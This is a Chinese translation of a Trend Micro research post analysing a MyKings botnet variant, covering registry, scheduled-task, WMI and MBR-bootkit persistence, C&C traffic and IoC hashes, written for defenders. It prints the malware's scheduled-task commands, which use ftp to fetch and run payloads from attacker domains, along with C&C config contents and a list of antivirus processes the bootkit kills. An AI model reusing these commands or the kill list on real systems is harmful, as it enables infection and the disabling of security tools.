亞太地區一家電子公司在五月導入託管式偵測及回應(Managed Detection and Response,簡稱MDR) 服務時,趨勢科技的Deep Discovery Inspector 偵測到了 EternalBlue(永恆之藍) 相關可疑活動,這漏洞攻擊之前常被用於WannaCry(想哭)勒索病毒。我們發現後向該公司發出了第一次的警報,通知這個可能的威脅。
我們幾天後想辦法找到了公司內部電腦會跟攻擊者建立惡意通訊的證據,公司一台電腦會連到下列網址(我們確認為惡意程式來源 ):
- hxxp://js[.]mykings.top:280/v[.]sct
- hxxp://js[.]mykings.top:280/helloworld[.]msi
網址包含了單字「mykings」,這跟我們之前在2017年8月分析殭屍網路時所看到的命令和控制(C&C)伺服器類似。這給了我們關於此威脅身份的第一個線索。
此外,我們發現攻擊者竄改了系統登錄檔,目的是為了持續性機制。新加的登錄機碼負責跟前面所提到的網址進行C&C通訊:
- HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run” -Name “start”
- HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run” -Name “start1”
- HKLM\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg” -Name “start”
- HKLM\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg” -Name “start1”
惡意軟體在被發現前已經隱藏在公司系統內大約2年
更深入研究後,我們發現這些註冊表值是在2017年加入,顯示惡意軟體在被發現前已經隱藏在公司系統內大約2年。這造成了另外一個問題,因為時間點對確認MyKings實際在系統上做了哪些事情很重要。有許多殭屍網路組件(包括C&C伺服器網址和下載網址)都只會存活短短的時間,非常容易消失。跟使用內嵌網址和檔案的病毒不同,MyKings跟腳本綁在一起,只從遠端伺服器下載所需的一切。
圖1. 2017年加進去的登錄機碼
在調查期間,我們還確認了其他幾種持續性機制,跟我們之前2017年的研究一致。除了自動執行的登錄機碼外,我們還發現了排程工作和Windows Management Instrumentation(WMI)物件(參見表1和表2):
工作名稱 | 執行字串 |
Mysa | cmd /c echo open down[.]mysking[.]info>s&echo test>>s&echo 1433>>s&echo binary>>s&echo get a.exe>>s&echo bye>>s&ftp -s:s&a.exe”} |
Mysa1 | rundll32.exe c:\\windows\\debug\\item.dat |
Mysa2 | cmd /c echo open ftp[.]ftp0118[.]info>p&echo test>>p&echo 1433>>p&echo get s.dat c:\\windows\\debug\\item.dat>>p&echo bye>>p&ftp -s:p”} |
Mysa3 | cmd /c echo open ftp[.]ftp0118[.]info>ps&echo test>>ps&echo 1433>>ps&echo get s.rar c:\\windows\\help\\lsmosee.exe>>ps&echo bye>>ps&ftp -s:ps&c:\\windows\\help\\lsmosee.exe”} |
Ok | rundll32.exe c:\\windows\\debug\\ok.dat |
表1. 排程工作和對應的執行字串
WMI物件 | 備註 |
__EventConsumer Name : fuckyoumm2_consumer | EventConsumer的程式碼片段 |
__EventFilter Name:fuckyoumm2_filter | Query: select * from __timerevent where timerid=”fuckyoumm2_itimer” |
__FilterToConsumerBinding | __FilterToConsumerBinding.Consumer=”\\\\.\\root\\subscription:ActiveScriptEventConsumer.Name= \”fuckyoumm2_consumer\””,Filter=”\\\\.\\root\\subscription:__EventFilter.Name=\”fuckyoumm2_filter\”” |
表2. WMI物件和相關資訊
我們的分析顯示該變種保留了基本的基礎設施。但還是有些值得注意的事情,我們會在技術分析裡詳細討論。
提供攻擊的脈絡資訊
殭屍網路迅速普及已是近期最嚴重的網路安全問題之一。截至2018年初,光MyKings就已經感染了超過50萬台電腦,並挖礦挖了將近230萬美元。在接下來的幾個月裡,MyKings不斷地改變其目標和感染方法。
趨勢科技2017年的區域分析顯示,當年大部分的感染都發生在亞太地區。我們發現的攻擊時間點可能顯示它是2017年攻擊活動的一部分。
組織在這起事件所面臨的主要挑戰之一是必須將所有看似無關的指標拼湊在一起,好更清楚地了解攻擊全貌。因為病毒感染發生在2017年,這代表惡意軟體有足夠的時間活動並提供各種的惡意檔案,這讓事情變得更加複雜。
檢視我們的網路感應器時,沒有MyKings相關知識或經驗的人可能會以為攻擊使用了來自不同惡意份子的多種惡意軟體。從圖2可以看出包含了不同類型的惡意軟體,如後門程式、虛擬貨幣挖礦病毒和木馬程式。
圖2. 趨勢科技Deep Discovery Inspector主控台所顯示的攻擊活動
此外,MyKings使用多種持續性機制,因此很難從受感染電腦內移除。我們會在下一節裡詳細闡述。
技術分析
使用開機型病毒(bootkit)作為持續性機制
當我們在2017年首次調查MyKings時,我們關注的是虛擬貨幣挖礦殭屍網路如何利用WMI來作為持續性機制。就跟Mirai一樣,MyKings似乎不斷地改變其感染程序。我們在此事件分析的變種使用了不止一種的持續性機制,就如上一節所述。除了WMI之外,它還使用了註冊表、工作排程和bootkit – 裡面最值得注意的是bootkit(趨勢科技偵測為Trojan.Win32.FUGRAFA.AB)。
Bootkit使用了檔案名稱lsmosee.exe或s.rar(在今年的報告中,程式碼也可以在ok.exe內找到,但我們無法確認這一點,因為網址在我們進行調查時已經無法存取)。它會先取得磁碟控制並檢查通常包含MBR的第一個磁區,然後檢查其程式碼是否已寫入磁碟。
圖3. Bootkit檢查MBR
接下來,它會檢查MBR是否已經感染了其他bootkit,然後會試著在繼續修改前先回復MBR。Bootkit接著會將原本的MBR複製到第二個磁區,用自己的開機碼覆蓋現有的MBR,接著繼續在磁碟寫入其餘開機時會執行的程式碼。
核心模式例程
Bootkit會先讀取位在第三個磁區的程式碼並將其載入到更高的地址 – 在本案例中為0x8f000。惡意程式碼總共被分佈到60個磁區。
圖4. 程式碼分佈到60個磁區
開機碼的主要目的是為了持續性和自我保護。它還會透過非同步過程呼叫(APC)注入技術將惡意軟體程式碼寫入使用者空間程序。為了做到這一點,它會更改中斷描述表內INT 15的地址(如下圖所示),使得在呼叫INT15時會將執行重新導到0x8F00:0x0247。
圖5. 更改中斷描述表內INT15的地址
這樣做了之後,原本的MBR(放在第二磁區)會在啟動系統前執行。
一旦呼叫INT15(最可能發生在系統開機過程),惡意軟體的開機碼會進一步地變動數個核心層級函數。最終,它會執行APC注入並終止表3內的所有防毒程序。
avp.exe | acaegmgr.exe | sapissvc.exe |
zhudongfangyu.exe | Rtvscan.exe | scsecsvc.exe |
superkiller.exe | avastsvc.exe | avgsvc.exe |
360sd.exe | bdagent.exe | aycagentsrv.ayc |
360safe.exe | mcshield.exe | liveupdate360.exe |
360rps.exe | mcsvhost.exe | 360rp |
kavfs.exe | mfefire.exe | qqpctray.exe |
sragent.exe | mfemms.exe | Mcshield.exe |
QQPCRTP.exe | arwsrvc.exe | SHSTAT.EXE |
systemaidbox.exe | dwarkdaemon.exe | naprdmgr.exe |
avgnt.exe | vssery.exe | avgui.exe |
avengine.exe | avguard.exe | gziface.exe |
msmpeng.exe | ahnsdsv.exe | ekrn.exe |
nissrv.exe | asdsvc.exe | dwengine.exe |
msseces.exe | kavfswp.exe | spideragent.exe |
ccSvcHst.exe | mbamservice.exe | bdagent.exe |
ekrn.exe | mbam.exe | smsvchost.exe |
nod32krn.exe | qhpisvr.exe | avastui.exe |
aswidsagenta.exe | quhlpsvc.exe | ksafe.exe |
afwserv.exe | savservice.exe | |
v3svc.exe | hipsmain.exe | |
hipsdaemon.exe |
表3. 被bootloader終止的程序列表
會被注入程式碼的程序(Winlogon、檔案總管或Svchost)根據Windows版本等條件不同而有所不一樣。
圖6. 注入explorer.exe的程式碼
如果顯示失敗,它會改注入svchost.exe。
使用者模式程序(winlogon.exe/explorer.exe/svchost.exe)
注入的使用者空間程式碼主要是會從C&C伺服器下載一段程式碼,其地址來自hxxp[://]www[.]upme0611[.]info/address[.]txt。address.txt的內容隨時間而變化。在我們的測試期間,它包含了以下內容:
[main] count=6 ip1=http[://]208.110.71.194 ip2=http[://]80.85.152.247 ip3=http[://]66.117.2.182 ip4=http[://]70.39.124.70 ip5=http[://]150.107.76.227 ip6=http[://]103.213.246.23 [update] count=6 ip1=http[://]208.110.71.194 ip2=http[://]80.85.152.247 ip3=http[://]66.117.2.182 ip4=http[://]70.39.124.70 ip5=http[://]150.107.76.227 ip6=http[://]103.213.246.23 |
建立起C&C伺服器連線後,會從上述伺服器其中之一下載可由受感染程序執行的shellcode – TestMsg.tmp。它會參考cloud.txt並包含以下文字,每次都有所不同:
[config] url=about:blank exe=http[://]185.22.172.13/upsupx.exe |
檔案upsupx.exe會被下載儲存成C:\Windows\Temp\conhost.exe並執行。
主下載器(upsupx.exe/conhost.exe)
惡意軟體為取得C&C伺服器地址及下載其他有效載荷而執行的HTTP請求列表整理如下:
圖7. MyKings向C&C伺服器發送的HTTP請求
它會建立C:\Program Files\Common Files\xpdown.dat,裡面包含了C&C伺服器列表。最初的列表如下:
- ok[.]xmr6b[.]ru
- 74[.]222[.]14[.]61
- 45[.]58[.]135[.]106
- 103[.]95[.]28[.]54
- 103[.]213[.]246[.]23
它接著會選擇其中一個伺服器來下載更新的xpdown.dat。在我們的分析中,它從伺服器45[.]58[.]135[.]106下載,裡面包含以下內容:
- Ok[.]xmr6b[.]ru
- 61
- 74[.]222[.]14[.]61
- 139[.]5[.]177[.]10
- 45[.]58[.]135[.]106
一但選定伺服器,它會將HTTP請求發送到{server}/ok/down[.]html、{server}/ok/64[.]html和{server}/ok/vers[.]html,如下圖所示:
圖8. 發送到其他伺服器的HTTP請求
我們用32位元的電腦進行測試,惡意軟體會繼續從45[.]58[.]135[.]106下載。但下載伺服器可能會根據受感染電腦是32位元還是64位元而有所不同。
它接著會下載kill.txt,這是在最終從downs.txt取得下載和執行檔案列表前要終止的程序列表:
圖9. 下載downs.txt
進一步檢查這些下載的檔案,可以看出它們的目的是為了在系統重啟時重複感染週期。刪除可見的持續性機制不會完全消除感染狀況。Msief.exe是一個包含c3.bat批次檔的自解壓縮檔,這批次檔會進行所有的工作排程、WMI和註冊表自動啟動。
託管式偵測及回應如何幫助處理MyKings這樣的殭屍網路?
在這種情況下,趨勢科技託管式偵測及回應這樣的外包資安服務成為寶貴的資產。MDR提供了調查事件和分析威脅的能力,更重要的是可以關聯看似無關的指標來獲取事件全貌,為攻擊提供脈絡資訊。
特別可以從此案例看出此服務的好處,感染事件在兩年來都未被發現。我們所用的工具及對MyKings的熟悉讓我們可以快速地識別出威脅,並接著為受影響的公司提供補救策略。
提供了擁有豐富經驗且專長複雜安全工具的資安專家,更快更有效地來識別感染鏈並關聯網址偵測、漏洞攻擊、自動啟動機制和惡意檔案。底下的圖表說明了如何使用資安工具來簡潔地描述出像MyKings這樣複雜的殭屍網路。
圖10. Bootkit安裝鏈顯示對DR0(MBR)的存取
圖11. 重啟後的感染鏈,WMIC.exe、schtasks.exe和reg.exe等持續性機制清晰可見
除了精通內部及外部的威脅情報資源外,趨勢科技的 MDR 團隊還擁有使用趨勢科技進階安全解決方案的經驗,包括了趨勢科技的Deep Discovery Inspector,可以偵測威脅在組織內部的橫向移動。
入侵指標(IoC)
檔案名稱 | SHA-256雜湊值 | 偵測名稱 |
b2.exe / msief.exe | e8ddefd237646a47debc01df9aa02fbcae40686f96b7860511c73798c7546201 | Backdoor.Win32.MIRAI.THGBIAI |
s / p | 7a4f2f2702fababb0619556e67a41d0a09e01fbfdb84d47b4463decdbb360980 | BAT_DLOAD.SMJ |
ps | d5f907f9d2001ee5013c4c1af965467714bbc0928112e54ba35d142c8eab68bf | BAT_DLOAD.SMJ |
upsupx.exe | 790c213e1227adefd2d564217de86ac9fe660946e1240b5415c55770a951abfd | Win32.MALXMR.TIAOODBF |
item.rar / item.dat | 80f8ba7992a5dbaa4a2f76263258d5d7bf3bb8994f9e8a4a5294f70ab8e38ea4 | Coinminer.Win32.WMINE.AA |
ps | ab26a859633d1ec68e021226fab47870ed78fc2e6a58c70a7a7060be51247c1d | Trojan.SH.BOTGET.AA |
s.rar | a3bb132ab1ba3e706b90d6fb514504105f174c4e444e87be7bce1995f798044d | Trojan.Win32.FUGRAFA.AB |
item.dat | 79bcb0b7ba00c4c65bf9b41cfe193fd917d92ab1d41456ac775836cec5cadc9a | Trojan.Win32.SYMMI.AA |
@原文出處:Uncovering a MyKings Variant With Bootloader Persistence via Managed Detection and Response 作者:Miguel Ang,Erika Mendoza和Buddy Tancio(趨勢科技)